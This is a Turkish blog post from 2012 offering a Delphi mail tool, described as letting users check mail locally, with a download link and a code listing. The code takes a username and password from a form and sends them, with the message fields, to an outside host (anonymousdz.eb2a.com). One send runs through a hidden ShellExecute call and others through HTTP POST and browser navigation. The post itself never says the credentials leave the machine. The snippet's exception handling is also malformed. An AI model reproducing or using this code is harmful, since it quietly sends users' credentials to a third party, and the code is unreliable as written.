Delphi Mail Gönderme ve Maili Localde Kontrol Etme

Kategori : Delphi
Yorum Yok

21 Şubat

2012

Delphi ile maillerinizi localde kontrol edebileceğiniz bir uygulama , arşivinizde bulunması gereken bir uygulama.

Uygulama kodlarını isterseniz indirin , ister direk kullanın.

Link : http://www.sendspace.com/file/13p9wr

Resim : http://img545.imageshack.us/img545/8495/20120120225218.jpg

www.cod3r.ORG

——————-cod3r.org———————————–

// post(lien,stringlists)
var list :TStringList;
begin
try
list:=TStringList.Create;

list.Add(‘email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’
+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text);
sStatusBar1.Panels[0].Text:=’Send data please wait …’;
try
Application.ProcessMessages;
sStatusBar1.Panels[0].Text:=Form1.IdHTTP1.Post(‘http://www.anonymousdz.eb2a.com/message.php’,list) ;

finally
list.Free;

except
on e:Exception do sStatusBar1.Panels[0].Text:=e.Message;
end;
end;

////////////////////////////////////////////////////////////////////////
procedure TForm3.sButton2Click(Sender: TObject);
begin

//

ShellExecute(Application.Handle,’open’,PChar(‘http://www.anonymousdz.eb2a.com/msgget.php?email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text),nil,nil,SW_HIDE);
end;

//////////////////////////////////////////////////////////////////////

procedure TForm3.sButton3Click(Sender: TObject);
begin
//

Form1.wb1.Navigate(‘http://www.anonymousdz.eb2a.com/msgget.php?email=’+sedit1.Text+’&subj=’+sedit2.Text+’&msg=’+smemo1.Text+’&tusername=’+form2.edt1.text+’&tpassword=’+form2.edt2.text);
end;

—————————-cod3r.org———————